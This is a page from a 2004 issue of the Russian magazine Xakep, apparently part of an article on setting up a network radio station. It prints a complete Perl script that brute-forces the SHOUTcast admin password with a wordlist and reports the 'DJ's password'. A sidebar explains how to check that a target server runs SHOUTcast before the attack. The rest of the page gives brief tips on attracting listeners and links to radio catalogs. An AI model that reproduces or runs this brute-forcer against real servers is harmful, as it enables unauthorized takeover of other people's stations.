Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #62, ФЕВРАЛЬ 2004 г.

Свое сетевое радио

Дмитриев Ярослав aka Clane

Xakep, номер #062, стр. 062-024-4


#!/usr/bin/perl

# SHOUTcast 1.9.2 (and maybe others) bruteforcer

#

use Socket;

$host = "radio.changeme.net"; # Url SHOUTcast-сервера

$port = 8000; # порт, на котором висит сервер

$word = "wordlist.txt"; # словарик для брутфорса

$check = "200 OK";

open(WRDS,"$word");

until( eof(*WRDS) ){

$pwd = readline(*WRDS);

chomp $pwd;

$sndstr= "GET /admin.cgi?pass=";

$sndstr.= $pwd;

$sndstr.=" HTTP\x2f1.0\r\nUser-Agent\x3a Mozilla 4.5(Compatible)\r\n\r\n\r\n";

socket(C, AF_INET, SOCK_STREAM, 0) || die "cant call socket()!";

connect(C, sockaddr_in( $port, inet_aton($host))) || die "cant connect!";

send(C, $sndstr, length($sndstr) );

do

{

if ($_ =~ m/$check/i){

print " DJs PASSWORD IS : $pwd\n";

close(WRDS);

exit;

}

} while (<C>);

}

Брутфорс реализован на Перле. Его алгоритм прост, как все гениальное: он коннектится к серверу и тихонечко и незаметно начинает подбирать пароль. Если один из паролей, записанных у тебя в wordlist.txt, подойдет, программа выведет его на экран и закончит свою работу.

Самое забавное, что User name админа всегда admin. Поэтому, мой тебе совет, когда будешь вешать пароль на собственную радиостанцию – подумай над ним хорошенько.

Заключение

Не знаю, как ты, а я остался доволен результатом. И с удовольствием бы поделился с тобой ссылкой на свое trance-творение, но я вещаю только для жителей локальной сети, где и сам обитаю. Жаль, конечно, я был бы рад видеть тебя в числе моих постоянных слушателей =). Ведь именно с помощью сетевого радио я перезнакомился в нашем районе со всеми продвинутыми людьми. Желаю тебе, как минимум, добиться такого же результата. Если будут грабли - мыло наверху. Enjoy!

Как завлечь слушателей

Раскрутка сетевого радио ничем не отличается от раскрутки сетевого ресурса. Но если для ресурса в первую очередь важны дизайн и контент, то радио характеризуется музыкой, которая звучит в радиоэфире. Учитывая народную мудрость, которая скептически оценивает результаты погони сразу за двумя зайцами, стоит подумать о том, чтобы крутить на новой станции музыку определенного стиля, а не "всего понемножку".

Ресурсы на просторах WWW

В Сети можно найти все, что хочешь. Эта подборка сайтов - лишнее тому подтверждение.

www.russianseattle.com/radio_r.htm - крупнейший каталог

www.etop.ru/catalog/28013.html - огромное количество ссылок на радиоресурсы в Сети, в том числе и на радиокаталоги

http://guzei.com/live/radio - крупный каталог русских радиоресурсов. Есть возможность добавления собственной радиостанции

Тип - INFO

Прежде чем начинать усиленно подбирать пароль с помощью брутфорса, нужно удостовериться, что вещание ведется именно с помощью SHOUTcast-сервера :). Сделать это можно, набрав в строке браузера http://ip-сервера:порт. Веб-интерфейс выдает программу с головой – его нельзя изменить, он генерируется самой программой.

Назад на стр. 062-024-3  Содержание  Вперед на стр. 062-024-5